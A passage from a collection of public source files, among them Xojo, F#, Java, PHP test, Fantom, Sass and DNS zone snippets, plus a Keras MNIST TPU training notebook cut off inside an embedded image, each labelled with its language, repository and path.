ViewProperty Name="definesPresentationContext" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="editing" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="extendedLayoutIncludesOpaqueBars" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="hidesBottomBarWhenPushed" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="modalInPopover" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="modalPresentationCapturesStatusBarAppearance" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="providesPresentationContextTransitionStyle" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="modalPresentationStyle" Visible=false Group="Behavior" InitialValue="" Type="UIModalPresentationStyle" EditorType="Enum" #tag EnumValues "0 - Fullscreen" "1 - PageSheet" "2 - FormSheet" "3 - CurrentContext" "4 - Custom" "5 - OverFullScreen" "6 - OverCurrentContext" "7 - Popover" "-1 - None" #tag EndEnumValues #tag EndViewProperty #tag ViewProperty Name="Name" Visible=true Group="ID" InitialValue="" Type="String" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Index" Visible=true Group="ID" InitialValue="-2147483648" Type="Integer" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Super" Visible=true Group="ID" InitialValue="" Type="String" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Left" Visible=true Group="Position" InitialValue="0" Type="Integer" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Top" Visible=true Group="Position" InitialValue="0" Type="Integer" EditorType="" #tag EndViewProperty #tag ViewProperty Name="supportsAlpha" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="selectedColorValue" Visible=false Group="Behavior" InitialValue="&c000000" Type="Color" EditorType="" #tag EndViewProperty #tag EndViewBehavior End Class #tag EndClass

Xojo

kingj5/iOSKit

Modules/Extensions/UIColorPickerViewController.xojo_code

namespace OpenAPI.Model open System open System.Collections.Generic module InlineObject1 = //#region InlineObject1 type inline_object_1 = { AdditionalMetadata : string; File : System.IO.Stream; } //#endregion

F#

MalcolmScoffable/openapi-generator

samples/server/petstore/fsharp-giraffe/OpenAPI/src/model/InlineObject1.fs

package com.baeldung.primary; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; /** * Created by Gebruiker on 7/19/2018. */@Service public class ManagerService { @Autowired private Manager manager; public Manager getManager() { return manager; } }

Java

DBatOWL/tutorials

spring-core-2/src/main/java/com/baeldung/primary/ManagerService.java

--TEST-- ZE2 Late Static Binding stacking static calleds --FILE-- <?php class TestA { public static function test() { echo get_class(new static()) . "\n"; TestB::test(); echo get_class(new static()) . "\n"; TestC::test(); echo get_class(new static()) . "\n"; TestBB::test(); echo get_class(new static()) . "\n"; } } class TestB { public static function test() { echo get_class(new static()) . "\n"; TestC::test(); echo get_class(new static()) . "\n"; } } class TestC { public static function test() { echo get_class(new static()) . "\n"; } } class TestBB extends TestB { } TestA::test(); ?> --EXPECT-- TestA TestB TestC TestB TestA TestC TestA TestBB TestC TestBB TestA

PHP

thiagooak/php-src

Zend/tests/lsb_005.phpt

# This file contains tests that can't be run on Joule 570x # /docker/tester-exec.sh will use this file to remove tests from a manifest

Mask

kraj/intel-iot-refkit

meta-iotqa/conf/test/570x.mask

@X { val = Env.cur.homeDir } class Foo {} facet class X { const Obj? val }

Fantom

fanx-dev/fanx

compiler/testCompilerx/res/facet/testErrors4.fan

.root font: var(--font-size-sm)/var(--line-height-sm) var(--font-primary) margin: var(--spacing-xs) 0 background: var(--color-back) border-radius: 2em border: 1px solid var(--color-subtle) padding-right: 1em display: inline-flex max-width: 300px .input font: inherit background: transparent padding: 0.5em 1em margin: 0 0 0.25rem 0.25rem flex: 100% .button font: bold var(--font-size-lg)/var(--line-height-md) var(--font-secondary) text-transform: uppercase color: var(--color-theme) white-space: nowrap

Sass

snosrap/spaCy

website/src/styles/newsletter.module.sass

$ORIGIN simple.com. $TTL 300 @ IN SOA ns3.serverfault.com. sysadmin.stackoverflow.com. 2020022300 3600 600 604800 1440 172800 IN NS ns-1313.awsdns-36.org. 172800 IN NS ns-736.awsdns-28.net. 172800 IN NS ns-cloud-c1.googledomains.com. 172800 IN NS ns-cloud-c2.googledomains.com. IN MX 1 aspmx.l.google.com. IN MX 5 alt1.aspmx.l.google.com. IN MX 5 alt2.aspmx.l.google.com. IN MX 10 alt3.aspmx.l.google.com. IN MX 10 alt4.aspmx.l.google.com. IN TXT "google-site-verification=O54a_pYHGr4EB8iLoGFgX8OTZ1DkP1KWnOLpx0YCazI" IN TXT "v=spf1 mx include:mktomail.com ~all" m1._domainkey IN TXT "v=DKIM1;k=rsa;p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCZfEV2C82eJ4OA3Mslz4C6msjYYalg1eUcHeJQ//QM1hOZSvn4qz+hSKGi7jwNDqsZNzM8vCt2+XzdDYL3JddwUEhoDsIsZsJW0qzIVVLLWCg6TLNS3FpVyjc171o94dpoHFekfswWDoEwFQ03Woq2jchYWBrbUf7MMcdEj/EQqwIDAQAB" dev IN CNAME stackoverflowsandbox2.mktoweb.com. dev-email IN CNAME mkto-sj310056.com. m1._domainkey.dev-email IN TXT "v=DKIM1;k=rsa;p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCIBezZ2Gc+/3PghWk+YOE6T9HdwgUTMTR0Fne2i51MNN9Qs7AqDitVdG/949iDbI2fPNZSnKtOcnlLYwvve9MhMAMI1nZ26ILhgaBJi2BMZQpGFlO4ucuo/Uj4DPZ5Ge/NZHCX0CRhAhR5sRmL2OffNcFXFrymzUuz4KzI/NyUiwIDAQAB" email IN CNAME mkto-sj280138.com. info IN CNAME stackoverflow.mktoweb.com. _sip._tcp IN SRV 10 60 5060 bigbox.example.com.

DNS Zone

IT-Sumpfling/dnscontrol

commands/test_data/simple.com.zone

{ "nbformat": 4, "nbformat_minor": 0, "metadata": { "accelerator": "TPU", "colab": { "name": "Keras MNIST TPU end-to-end - training, saved model and online inference", "provenance": [], "collapsed_sections": [] }, "environment": { "name": "tf22-cpu.2-2.m47", "type": "gcloud", "uri": "gcr.io/deeplearning-platform-release/tf22-cpu.2-2:m47" }, "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.6" } }, "cells": [ { "cell_type": "markdown", "metadata": { "id": "xqLjB2cy5S7m" }, "source": [ "## MNIST on TPU (Tensor Processing Unit)<br>or GPU using tf.Keras and tf.data.Dataset\n", "<table><tr><td><img valign=\"middle\" src=\"https://raw.githubusercontent.com/GoogleCloudPlatform/tensorflow-without-a-phd/master/tensorflow-rl-pong/images/keras-tensorflow-tpu300px.png\" width=\"300\" alt=\"Keras+Tensorflow+Cloud TPU\"></td></tr></table>\n", "\n", "\n", "This sample trains an \"MNIST\" handwritten digit \n", "recognition model on a GPU or TPU backend using a Keras\n", "model. Data are handled using the tf.data.Datset API. This is\n", "a very simple sample provided for educational purposes. Do\n", "not expect outstanding TPU performance on a dataset as\n", "small as MNIST.\n", "\n", "<h3><a href=\"https://cloud.google.com/gpu/\"><img valign=\"middle\" src=\"https://raw.githubusercontent.com/GoogleCloudPlatform/tensorflow-without-a-phd/master/tensorflow-rl-pong/images/gpu-hexagon.png\" width=\"50\"></a> &nbsp;&nbsp;Train on GPU or TPU&nbsp;&nbsp; <a href=\"https://cloud.google.com/tpu/\"><img valign=\"middle\" src=\"https://raw.githubusercontent.com/GoogleCloudPlatform/tensorflow-without-a-phd/master/tensorflow-rl-pong/images/tpu-hexagon.png\" width=\"50\"></a></h3>\n", "\n", " 1. Select a GPU or TPU backend (Runtime > Change runtime type) \n", " 1. Run all cells up to and including \"Train and validate the model\" and \"Visualize predictions\".\n", "\n", "<h3><a href=\"https://cloud.google.com/ml-engine/\"><img valign=\"middle\" src=\"https://raw.githubusercontent.com/GoogleCloudPlatform/tensorflow-without-a-phd/master/tensorflow-rl-pong/images/mlengine-hexagon.png\" width=\"50\"></a> &nbsp;&nbsp;Deploy to AI Platform</h3>\n", "\n", " 1. Configure a Google cloud project and bucket as well as the desired model name in \"Deploy the trained model\".\n", " 1. Run the remaining cells to the end to deploy your model to Cloud AI Platform Prediction and test the deployment.\n", "\n", "TPUs are located in Google Cloud, for optimal performance, they read data directly from Google Cloud Storage (GCS)." ] }, { "cell_type": "markdown", "metadata": { "id": "qpiJj8ym0v0-" }, "source": [ "### Imports" ] }, { "cell_type": "code", "metadata": { "colab": { "base_uri": "https://localhost:8080/" }, "id": "AoilhmYe1b5t", "outputId": "b2d4749c-2c04-4306-bc3d-8c307fd282c0" }, "source": [ "import os, re, time, json\n", "import PIL.Image, PIL.ImageFont, PIL.ImageDraw\n", "import numpy as np\n", "import tensorflow as tf\n", "from matplotlib import pyplot as plt\n", "AUTOTUNE = tf.data.AUTOTUNE\n", "print(\"Tensorflow version \" + tf.__version__)" ], "execution_count": 1, "outputs": [ { "output_type": "stream", "name": "stdout", "text": [ "Tensorflow version 2.6.0\n" ] } ] }, { "cell_type": "code", "metadata": { "cellView": "form", "id": "qhdz68Xm3Z4Z" }, "source": [ "#@title visualization utilities [RUN ME]\n", "\"\"\"\n", "This cell contains helper functions used for visualization\n", "and downloads only. You can skip reading it. There is very\n", "little useful Keras/Tensorflow code here.\n", "\"\"\"\n", "\n", "# Matplotlib config\n", "plt.rc('image', cmap='gray_r')\n", "plt.rc('grid', linewidth=0)\n", "plt.rc('xtick', top=False, bottom=False, labelsize='large')\n", "plt.rc('ytick', left=False, right=False, labelsize='large')\n", "plt.rc('axes', facecolor='F8F8F8', titlesize=\"large\", edgecolor='white')\n", "plt.rc('text', color='a8151a')\n", "plt.rc('figure', facecolor='F0F0F0')# Matplotlib fonts\n", "MATPLOTLIB_FONT_DIR = os.path.join(os.path.dirname(plt.__file__), \"mpl-data/fonts/ttf\")\n", "\n", "# pull a batch from the datasets. This code is not very nice, it gets much better in eager mode (TODO)\n", "def dataset_to_numpy_util(training_dataset, validation_dataset, N):\n", " \n", " # get one batch from each: 10000 validation digits, N training digits\n", " batch_train_ds = training_dataset.unbatch().batch(N)\n", " \n", " # eager execution: loop through datasets normally\n", " for validation_digits, validation_labels in validation_dataset:\n", " validation_digits = validation_digits.numpy()\n", " validation_labels = validation_labels.numpy()\n", " break\n", " for training_digits, training_labels in batch_train_ds:\n", " training_digits = training_digits.numpy()\n", " training_labels = training_labels.numpy()\n", " break\n", " \n", " # these were one-hot encoded in the dataset\n", " validation_labels = np.argmax(validation_labels, axis=1)\n", " training_labels = np.argmax(training_labels, axis=1)\n", " \n", " return (training_digits, training_labels,\n", " validation_digits, validation_labels)\n", "\n", "# create digits from local fonts for testing\n", "def create_digits_from_local_fonts(n):\n", " font_labels = []\n", " img = PIL.Image.new('LA', (28*n, 28), color = (0,255)) # format 'LA': black in channel 0, alpha in channel 1\n", " font1 = PIL.ImageFont.truetype(os.path.join(MATPLOTLIB_FONT_DIR, 'DejaVuSansMono-Oblique.ttf'), 25)\n", " font2 = PIL.ImageFont.truetype(os.path.join(MATPLOTLIB_FONT_DIR, 'STIXGeneral.ttf'), 25)\n", " d = PIL.ImageDraw.Draw(img)\n", " for i in range(n):\n", " font_labels.append(i%10)\n", " d.text((7+i*28,0 if i<10 else -4), str(i%10), fill=(255,255), font=font1 if i<10 else font2)\n", " font_digits = np.array(img.getdata(), np.float32)[:,0] / 255.0 # black in channel 0, alpha in channel 1 (discarded)\n", " font_digits = np.reshape(np.stack(np.split(np.reshape(font_digits, [28, 28*n]), n, axis=1), axis=0), [n, 28*28])\n", " return font_digits, font_labels\n", "\n", "# utility to display a row of digits with their predictions\n", "def display_digits(digits, predictions, labels, title, n):\n", " plt.figure(figsize=(13,3))\n", " digits = np.reshape(digits, [n, 28, 28])\n", " digits = np.swapaxes(digits, 0, 1)\n", " digits = np.reshape(digits, [28, 28*n])\n", " plt.yticks([])\n", " plt.xticks([28*x+14 for x in range(n)], predictions)\n", " for i,t in enumerate(plt.gca().xaxis.get_ticklabels()):\n", " if predictions[i] != labels[i]: t.set_color('red') # bad predictions in red\n", " plt.imshow(digits)\n", " plt.grid(None)\n", " plt.title(title)\n", " \n", "# utility to display multiple rows of digits, sorted by unrecognized/recognized status\n", "def display_top_unrecognized(digits, predictions, labels, n, lines):\n", " idx = np.argsort(predictions==labels) # sort order: unrecognized first\n", " for i in range(lines):\n", " display_digits(digits[idx][i*n:(i+1)*n], predictions[idx][i*n:(i+1)*n], labels[idx][i*n:(i+1)*n],\n", " \"{} sample validation digits out of {} with bad predictions in red and sorted first\".format(n*lines, len(digits)) if i==0 else \"\", n)\n", " \n", "# utility to display training and validation curves\n", "def display_training_curves(training, validation, title, subplot):\n", " if subplot%10==1: # set up the subplots on the first call\n", " plt.subplots(figsize=(10,10), facecolor='#F0F0F0')\n", " plt.tight_layout()\n", " ax = plt.subplot(subplot)\n", " ax.grid(linewidth=1, color='white')\n", " ax.plot(training)\n", " ax.plot(validation)\n", " ax.set_title('model '+ title)\n", " ax.set_ylabel(title)\n", " ax.set_xlabel('epoch')\n", " ax.legend(['train', 'valid.'])" ], "execution_count": 2, "outputs": [] }, { "cell_type": "markdown", "metadata": { "id": "VE6zp3q_HNTi" }, "source": [ "*(you can double-ckick on collapsed cells to view the non-essential code inside)*" ] }, { "cell_type": "markdown", "metadata": { "id": "R4jujVYWY9-6" }, "source": [ "### TPU or GPU detection" ] }, { "cell_type": "code", "metadata": { "id": "Hd5zB1G7Y9-7" }, "source": [ "try: # detect TPUs\n", " tpu = tf.distribute.cluster_resolver.TPUClusterResolver.connect() # TPU detection\n", " strategy = tf.distribute.TPUStrategy(tpu)\n", "except ValueError: # detect GPUs\n", " strategy = tf.distribute.MirroredStrategy() # for GPU or multi-GPU machines\n", " #strategy = tf.distribute.get_strategy() # default strategy that works on CPU and single GPU\n", " #strategy = tf.distribute.experimental.MultiWorkerMirroredStrategy() # for clusters of multi-GPU machines\n", "print(\"Number of accelerators: \", strategy.num_replicas_in_sync)" ], "execution_count": null, "outputs": [] }, { "cell_type": "markdown", "metadata": { "id": "Lvo0t7XVIkWZ" }, "source": [ "### Parameters" ] }, { "cell_type": "code", "metadata": { "id": "cCpkS9C_H7Tl" }, "source": [ "BATCH_SIZE = 64 * strategy.num_replicas_in_sync # Gobal batch size.\n", "# The global batch size will be automatically sharded across all\n", "# replicas by the tf.data.Dataset API. A single TPU has 8 cores.\n", "# The best practice is to scale the batch size by the number of\n", "# replicas (cores). The learning rate should be increased as well.\n", "\n", "LEARNING_RATE = 0.01\n", "LEARNING_RATE_EXP_DECAY = 0.6 if strategy.num_replicas_in_sync == 1 else 0.7\n", "# Learning rate computed later as LEARNING_RATE * LEARNING_RATE_EXP_DECAY**epoch\n", "# 0.7 decay instead of 0.6 means a slower decay, i.e. a faster learnign rate.\n", "\n", "training_images_file = 'gs://mnist-public/train-images-idx3-ubyte'\n", "training_labels_file = 'gs://mnist-public/train-labels-idx1-ubyte'\n", "validation_images_file = 'gs://mnist-public/t10k-images-idx3-ubyte'\n", "validation_labels_file = 'gs://mnist-public/t10k-labels-idx1-ubyte'" ], "execution_count": 5, "outputs": [] }, { "cell_type": "markdown", "metadata": { "id": "Lz1Zknfk4qCx" }, "source": [ "### tf.data.Dataset: parse files and prepare training and validation datasets\n", "Please read the [best practices for building](https://www.tensorflow.org/guide/performance/datasets) input pipelines with tf.data.Dataset" ] }, { "cell_type": "code", "metadata": { "id": "ZE8dgyPC1_6m" }, "source": [ "def read_label(tf_bytestring):\n", " label = tf.io.decode_raw(tf_bytestring, tf.uint8)\n", " label = tf.reshape(label, [])\n", " label = tf.one_hot(label, 10)\n", " return label\n", " \n", "def read_image(tf_bytestring):\n", " image = tf.io.decode_raw(tf_bytestring, tf.uint8)\n", " image = tf.cast(image, tf.float32)/256.0\n", " image = tf.reshape(image, [28*28])\n", " return image\n", " \n", "def load_dataset(image_file, label_file):\n", " imagedataset = tf.data.FixedLengthRecordDataset(image_file, 28*28, header_bytes=16)\n", " imagedataset = imagedataset.map(read_image, num_parallel_calls=16)\n", " labelsdataset = tf.data.FixedLengthRecordDataset(label_file, 1, header_bytes=8)\n", " labelsdataset = labelsdataset.map(read_label, num_parallel_calls=16)\n", " dataset = tf.data.Dataset.zip((imagedataset, labelsdataset))\n", " return dataset \n", " \n", "def get_training_dataset(image_file, label_file, batch_size):\n", " dataset = load_dataset(image_file, label_file)\n", " dataset = dataset.cache() # this small dataset can be entirely cached in RAM\n", " dataset = dataset.shuffle(5000, reshuffle_each_iteration=True)\n", " dataset = dataset.repeat()\n", " dataset = dataset.batch(batch_size)\n", " dataset = dataset.prefetch(AUTOTUNE) # fetch next batches while training on the current one (-1: autotune prefetch buffer size)\n", " return dataset\n", " \n", "def get_validation_dataset(image_file, label_file):\n", " dataset = load_dataset(image_file, label_file)\n", " dataset = dataset.cache() # this small dataset can be entirely cached in RAM\n", " dataset = dataset.batch(10000)\n", " return dataset\n", "\n", "# instantiate the datasets\n", "training_dataset = get_training_dataset(training_images_file, training_labels_file, BATCH_SIZE)\n", "validation_dataset = get_validation_dataset(validation_images_file, validation_labels_file)" ], "execution_count": 6, "outputs": [] }, { "cell_type": "markdown", "metadata": { "id": "_fXo6GuvL3EB" }, "source": [ "### Let's have a look at the data" ] }, { "cell_type": "code", "metadata": { "colab": { "base_uri": "https://localhost:8080/", "height": 177 }, "id": "yZ4tjPKvL2eh", "outputId": "0e34e94d-bde3-4c27-8b6d-975aecaf4fdd" }, "source": [ "N = 24\n", "(training_digits, training_labels,\n", " validation_digits, validation_labels) = dataset_to_numpy_util(training_dataset, validation_dataset, N)\n", "display_digits(training_digits, training_labels, training_labels, \"training digits and their labels\", N)\n", "display_digits(validation_digits[:N], validation_labels[:N], validation_labels[:N], \"validation digits and their labels\", N)\n", "font_digits, font_labels = create_digits_from_local_fonts(N)" ], "execution_count": 7, "outputs": [ { "output_type": "display_data", "data": { "image/png": "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